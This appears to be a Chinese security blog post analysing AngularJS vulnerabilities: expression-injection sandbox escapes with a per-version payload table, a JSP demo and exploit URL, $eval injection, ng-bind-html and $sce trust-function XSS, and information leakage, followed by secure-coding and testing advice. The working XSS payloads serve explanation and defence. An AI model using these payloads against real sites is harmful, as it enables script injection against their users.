Angular使用及其安全問題分析

  本文將簡單介紹Angular及其使用方法,並重點研究使用過程中的安全問題。

0x00 Angular簡介

    AngularJS,又稱Angular,是由Google開發和維護的一款開源Web應用框架,用於解決單頁面應用開發中遇到的問題。這個框架提供兩種設計模式(MVC和MVW)和及豐富互聯網應用程序中常用的組件。

Git地址:https://github.com/angular/angular.js/tree/v1.4.6

學習地址:https://www.angularjs.net.cn/tutorial/1.html

 

一、Angular簡單使用

     本文重點研究其表達式注入,首先我們先看看在web中如何使用Angular的表達式,按如下步驟:

  1. 引入Angular模板解析腳本
<head>
<meta charset="utf-8">
<script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.js">
</script> 
</head>

    2.申明AngularJS應用:

<div ng-app="">......</div>

    3.使用ng-model綁定控件數據:

<td><input type="integer" min="0" ng-model="qty" required ></td>
<td><input type="integer" ng-model="cost" required ></td>

    4.申明 Angular表達式模板:

<b>Total:</b> {{qty * cost | currency}}

    HTML加載時若變量值存在,則計算值並加載到模板中。 

    整體代碼爲:

<!DOCTYPE html>
<html >
<head>
<meta charset="utf-8">
<script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.min.js">
</script> 
</head>
<body>
 
<div ng-app="">
<b>Invoice:</b>
<br>
<br>
<table>
<tr><td>Quantity</td><td>Cost</td></tr>
<tr>
<td><input type="integer" min="0" ng-model="qty" required ></td>
<td><input type="integer" ng-model="cost" required ></td>
</tr>
</table>
<hr>
<b>Total:</b>$ {{qty * cost}}
</div>
 
</body>
</html>

    將用戶輸入的數據相乘,並把相乘結果格式化成本地貨幣樣式,然後輸出到頁面上。顯示效果如下:

二、Angular表達式與JavaScript表達式

  1. 類似於 JavaScript 表達式,AngularJS 表達式可以包含字母,操作符,變量。
  2. 與 JavaScript 表達式不同,AngularJS 表達式可以寫在 HTML 中。
  3. 與 JavaScript 表達式不同,AngularJS 表達式不支持條件判斷,循環及異常。
  4. 與 JavaScript 表達式不同,AngularJS 表達式支持過濾器。

0x01 安全問題分析

 

一、表達式注入-沙箱繞過

1、逃逸Payload

     Angular通過“{{expression}}”來作爲輸出的標誌,而對於雙括號裏面的內容Angular會計計算並輸出結果。然而Angular模板表達式會經過沙箱驗證,例如:1)不允許使用Function對象;2)不允許使用window對象;3)不允許使用dom對象;4)不允許使用Object對象;5)對obj對象的constructor進行檢查,確保其不是Function對象,並且call,apply,bind等方法的調用也是不允許的;6)等等。這些使得直接的javascript語句不能運行,無法進行攻擊。

    然而攻擊者研究各版本沙箱機制,提出了各版本逃逸Payload,通過這些Payload可對目標網站發動XSS攻擊。各版本Payload如下表所示:

AngularJS版本

沙箱逃逸利用有效負載

1.0.1-1.1.5

{{constructor.constructor('alert(1)')()}}

1.2.0-1.2.1

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].

getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2-1.2.5

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6-1.2.18

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).

value,0,'alert(1)')()}}

1.2.19-1.2.23

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].

sort(toString.constructor);}}

1.2.24-1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex)

alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0

{{!ready && (ready = true) && (
      !call
      ? $$watchers[0].get(toString.constructor.prototype)
      : (a = apply) &&
        (apply = constructor) &&
        (valueOf = call) &&
        (''+''.toString(
          'F = Function.prototype;' +
          'F.apply = F.a;' +
          'delete F.a;' +
          'delete F.valueOf;' +
          'alert(1);'
        ))
    );}}

1.3.1-1.3.2

{{
    {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    'a'.constructor.prototype.charAt=''.valueOf;
    $eval('x=alert(1)//');
}}

1.3.3-1.3.18

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(1)//');  }}

1.3.19

{{
    'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    $eval('x=alert(1)//');
}}

1.3.20

 {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.3.0 - 1.5.8

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}

1.5.9 - 1.5.11

{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    B=C(b,c,b);$evalAsync("
    astNode=pop();astNode.type='UnaryExpression';
    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    astNode.argument={type:'Identifier',name:'foo'};
    ");
    m1=B($$asyncQueue.pop().expression,null,$root);
    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    $eval('a(b.c)');[].push.apply=a;
}}

 

>=1.6.0

{{constructor.constructor('alert(1)')()}}

    從版本1.6開始,Angular完全刪除了沙盒

下面是一個在Angular1.4.6版本中沙箱逃逸進行XSS攻擊的例子:

<%@ page session="false" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
<!DOCTYPE html>
<html>
<head>
  <title>Sandbox Bypass Demo</title>
  <script src="http://cdn.static.runoob.com/libs/angular.js/1.4.6/angular.min.js"></script>
</head>
<body>
  <div ng-app="">
   {{${param.name}}}
  </div>
</body>
</html>

 啓動Tomcat服務器,並在瀏覽器輸入:

http://127.0.0.1:8080/SandBoxByPass.jsp?name=%27a%27.constructor.prototype.charAt%3d%5b%5d.join%3b%24eval(%27x%3d1%7d+%7d+%7d%3balert(123)%2f%2f%27)%3b

回車訪問該界面,發現執行了惡意JavaScript腳本代碼:​

2、原理分析

    選取1.4.6版本payload進行沙箱逃逸的原理分析:{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Angular解析過程

    使用簡單的{{1+2}}模板查看Angular如何解析。

    該模板會被重新解析爲如下函數字符串fnString:

    並根據如下生成函數變量:

    運行fn函數得到的值進行html渲染。

    只要1+1能夠被解析成2的模板引擎都會存在XSS漏洞。然而在1.4.6版本中我們輸入constructor.constructor('alert(1)'); 時無任何反應,這是由於Angular模板表達式存在沙箱進行了限制。Angular的模板引擎就是通過模板解析生成帶有沙箱檢查的函數,該函數運行並返回結果。

Angular沙箱做了什麼?

    使用constructor.constructor(“alert(1)”);作爲payload查看,會有如下報錯

 Description

occurs when an expression attempts to access the 'Function' object (constructor for all functions in JavaScript).

Angular bans access to Function from within expressions since constructor access is a known way to execute arbitrary Javascript code.

To resolve this error, avoid Function access.

    Angular檢查到了調用了Function對象,拋出異常。我們看下Angular解析生成的代碼:

    發現模板中的每個對象都使用了ensureSafeObject函數進行檢查,該函數檢查瞭如下:

  • 不允許使用Function對象
  • 不允許使用window對象
  • 不允許使用dom對象
  • 不允許使用Object對象

正如前文函數變量其他檢測函數還有:ensureSafeFunction

對obj對象的constructor進行檢查,確保其不是Function對象,並且call,apply,bind等方法的調用也是不允許的。

如何逃逸

    看下模板字符串的解析步驟:

    掃描字符串加入Array的關鍵字數組中:

 

    讀取後字符串被按照字符串、標識符、操作符進行了提取。

    然後根據該數組解析按下述函數調用進行解析生成代碼:

    生成的函數會對每個提取對象進行檢驗:

    Angular模板表達式中可以使用一些函數,例如$eval()。該函數會重新按照Angular模板引擎解析一次參數。

    我們知道解析會按照前文方式進行解析,然後生成的函數對每個對象進行檢查。代碼中就會先獲取該對象,例如vn.提取的字符串對象(vn代碼生成的變量)。

    想到如果能將一段js代碼解析成標識符,通過注入代碼的方式執行,例如設想若在解析字符串的時候能將  x=1} } };alert(1)//   解析成一個標識符後,在生成的fnString就會像如下所示:   

    這樣就把代碼注入了。

    我們查看前文的標識符識別方法:

    標識符判斷:

    如果判斷第一個字符爲標識符合法字符,則開始循環讀取所有的合法字符直到遇到非法字符:

    通過charAt獲取一個字符,根據該字符判斷讀取的類型。我們設想的字符串爲x=1} } };alert(1)//   讀到X爲標誌服,但是=號按照源代碼會識別爲操作符,則會把字符串割離。

    需要改變charAt獲取字符種類。結合Angular語法不可使用的範圍及其語法。可以改變String的屬性charAt指向其他函數。

'a'.constructor.prototype.charAt=[].join

=號是合法的,會在生成的代碼中產生賦值。

    此時console中:

    行爲不是獲取字符而是實現了join的特性,這樣獲取的值一直都會符合標識符的檢查。從而使得之前的字符串x=1} } };alert(1)//變成了一個標識符。

    在該效果生效後,我們在調用Angular函數$eval(‘x=1} } };alert(1)//’),讓Angular模板引擎重新解析,解析時會把整體當做表示符,最後代碼就被注入了:

3 安全編碼建議

AngularJS 在 1.6 版本以後就移除了安全沙箱,因爲它並不能根本上解決表達式注入問題。

所以設計應用程序時,用戶不能更改客戶端模板:

1、不要混合客戶端和服務器模板

2、不要使用用戶輸入動態生成模板

3、不要通過(或上面列出的任何其他表達式解析函數)運行用戶輸入

4、考慮使用 CSP

5、可以使用服務器端模板來動態生成 CSSURL 等,但不能用於生成由 AngularJS 引導/編譯的模板。

6、如果必須在 AngularJS 模板中使用用戶提供的內容,需要確保它在通過 ngNonBindable 指令明確指定了不編譯的模板部分中。

7、若用戶輸入數據必須參與拼接生成表達式時,需要明確的黑白名單控制

二、 命令注入

JavaScript中存在eval命令注入的情況,Angular也類似。Angular以下函數存在命令注入問題:

$watch(userContent, ...)
$watchGroup(userContent, ...)
$watchCollection(userContent, ...)
$eval(userContent)
$evalAsync(userContent)
$apply(userContent)
$applyAsync(userContent)
$compile(userContent)
$parse(userContent)
$interpolate(userContent)

其實上述函數實質上和上節表達式用法最終都會調用同一個函數$parse,所以Payload可根據上節表格進行製作。

下面是一個使用Angular中的$scope對象中$eval的例子:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>

<p ng-bind-html="myText002"></p>
</div>

<script>
var app = angular.module("myApp", []);
app.controller("myCtrl", function($scope){
   $scope.$eval("constructor.constructor('alert(001)')()")
});
</script>

</body>
</html>

執行後會執行Payload中的惡意js代碼

 

三、XSS

1、ng-bind與ng-bind-html

介紹

ng-bind-html和ng-bind的區別就是,ng-bind把值作爲字符串,和元素的內容進行綁定,但是ng-bind-html把值作爲html,和元素的html進行綁定。如

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>
<p ng-bind-html="myText002"></p>
</div>

<script>
var app = angular.module("myApp", []);
app.controller("myCtrl", function($scope){
   $scope.myText001 = '<img src=x onerror=alert(001)></img>';
   $scope.myText002 = '<img src=x onerror=alert(002)></img>';
});
</script>

</body>
</html>

訪問該頁面:

可看出ng-bind將以字符串的形式輸出內容,而不做任何解析,所以通過ng-bind綁定數據是安全的。由於ng-bind-html是需要結合Sanitize模塊配合使用,所以這裏會有Error信息的。ng-bind-html安全使用問題請繼續看下文。

安全編碼意見

       若使用Angular綁定頁面數據時,在僅需要顯示字符串內容時,建議使用ng-bind,除非需要渲染html元素,其安全措施見下文

2、ng-bind-html + Sanitize淨化

安全問題介紹

ng-bind-html把值作爲html,和元素的html進行綁定。直接綁定必然存在風險,所以Angular在使用ng-bind-html可結合Sanitize模塊一同起作用。Sanitize模塊會將html元素進行安全過濾,例如<img src=x οnerrοr=alert(001)></img>會被淨化成<img src=x ></img>,避免了大量的XSS攻擊。基於上節的代碼,修改的例子代碼如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
<script src="./angular-1.7.8/angular-sanitize.min.js"></script>
</head>
<body>
<div ng-app="myApp" ng-controller="myCtrl">
<p ng-bind="myText001"></p>
<p ng-bind-html="myText002"></p>
</div>
<script>
var app = angular.module("myApp", ['ngSanitize']);

//是默認開啓的,可以刪除這段代碼
app.config(function($sceProvider) {
  //開啓
  $sceProvider.enabled(true);
  //禁用
  //$sceProvider.enabled(false);
});

app.controller("myCtrl", function($scope){
   $scope.myText001 = '<img src=x onerror=alert(001)></img>';
   $scope.myText002 = '<img src=x onerror=alert(002)></img>';
});

</script>
</body>
</html>

上述代碼新引入angular-sanitize.js文件,並將ngSanitize模塊作用於myApp範圍類,重新運行查看結果:

可以看出風險屬性被淨化。

而ngSanitize淨化作用可以通過上述代碼的$sceProvider.enabled進行關閉開啓,默認是開啓的。爲了驗證,設置false將其關閉,重新訪問頁面會發現惡意彈框。

安全編碼意見

在使用ng-bind-html綁定數據到頁面時,必須使用$sceProvider.enabled開啓ngSanitize淨化功能(默認是開啓的,禁止代碼關閉)。

安全測試方法

搜索所有html頁面關鍵字ng-bind-html,如果存在該關鍵字並且存在用戶輸入可控綁定的情況下,在所有html和js文件中搜索“$sceProvider.enabled(false);”,若存在則有風險。

3 錯誤使用安全標記函數

安全問題介紹

在上述默認開啓淨化服務的情況下,使用$sce.trustAsHtml或$sceDelegate.trustAs把數據標記爲“安全”後,$sce服務不會對被標記的數據進行淨化,這樣被標記的數據中如果有惡意代碼也會被ng-bind-html指令渲染。

基於前面代碼稍作修改,將數據標記爲htnl安全:

 

 

<!DOCTYPE html>
<html ng-app="myApp" >
<head>
<meta charset="utf-8">
<script src="./angular-1.7.8/angular.min.js"></script>
<script src="./angular-1.7.8/angular-sanitize.min.js"></script>
</head>
<body ng-app="myApp" ng-controller="myCtl">
<div ng-bind-html="htmlContent | to_trusted">
</div>
<script>
    var app = angular.module('myApp', ['ngSanitize']);

   //是默認開啓的,可以刪除這段代碼
    app.config(function($sceProvider) {
    //開啓
    $sceProvider.enabled(true);
    //禁用
    //$sceProvider.enabled(false);
    });

    app.controller('myCtl',['$scope', function($scope){
        $scope.htmlContent = '<img src=x onerror=alert(1)></img>';
    }]);

    app.filter('to_trusted', ['$sce', function ($sce) {
    return function (text) {
        return $sce.trustAsHtml(text);
  };
}]);
</script>

</body>
</html>

上述代碼在開啓淨化服務的情況下,使用trustAsHtml將'<img src=x οnerrοr=alert(1)></img>'標記爲安全。通過運行發現即使在開啓'ngSanitize'模塊後,使用了trustAsHtml後依然渲染了不安全的html屬性

信任標記函數彙總如下:

名稱

說明

$sce.HTML

將value值標記爲安全的html

$sce.CSS

將value值標記爲安全的css

$sce.URL

將value值標記爲安全的url,比如a標籤中href,img標籤中的src

$sce.RESOURCE_URL

將value值標記爲安全的訪問連接,適用於 ng-include,src或者ngSrc(例如iframe或者Object),可以用$sce.RESOURCE_URL代替$sce.URL。

$sce.JS

將value值標記爲安全的js

trustAs* (Dangerous)例如trustAsHtml、trustAsURL等等

這些方法將傳入data數據標記爲安全。

$sce.trustAsHtml(data);

$sce.trustAs($sce.HTML, data);

$sce.trustAs('html', data);

$sceDelegate.trustAs('html', data);

$sceDelegate.trustAs($sce.HTML, data);

isEnabled

返回一個boolean,指示是否開啓$sce服務

getTrusted*( Dangerous)例如getTrustedHTML、getTrustedCSS等等

判斷傳入的data是不是對應的類型,如果類型一致就進行對傳入內容進行淨化,刪除惡意字符,如果不一致就拋出異常

例如getTrustedURL(data)如果data不是一個url就會拋出異常,如果類型一致就調用trustAs方法將data數據進行淨化

$sceDelegate.valueOf

將傳入data數據標記爲安全

$sce.parseAs*( Dangerous)例如parseAsHTMLparseAsCSS等等

方法替代 $parse 服務監控屬性綁定,底層會調用getTrusted方法

安全編碼意見

在使用ng-bind-html進行頁面數據綁定時,涉及用戶數據可控時,禁止使用信任函數將數據標記爲可信。

安全測試意見

Html和js文件中全局搜索上表中的函數,然後確認數據的來源是否外部可用。

 

4 信息泄漏

漏洞介紹

若待渲染輸出的數據對象中有系統不希望用戶可見的部分,在Angular表達式外部可控的情況下,可能會造成信息泄露。例如下述片段代碼

<div ng-app="" ng-init="person={firstName:'John',lastName:'Doe',password: '123'}">
<p>姓爲 {{ person. password }}</p>

例如上述person數據中含有密碼字段password,該字段不希望用戶可見。若Angular表達式可控,則注入person. Password則會產生信息泄漏。

安全編碼建議

  1. 使用黑白名單限制訪問類型
  2. 做好權限訪問控制

0x02 參考文獻

https://angular.cn/guide/template-syntax

https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs

https://0x0d.im/archives/client-side-template-injection-with-angularjs.html

https://www.anquanke.com/post/id/8609

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章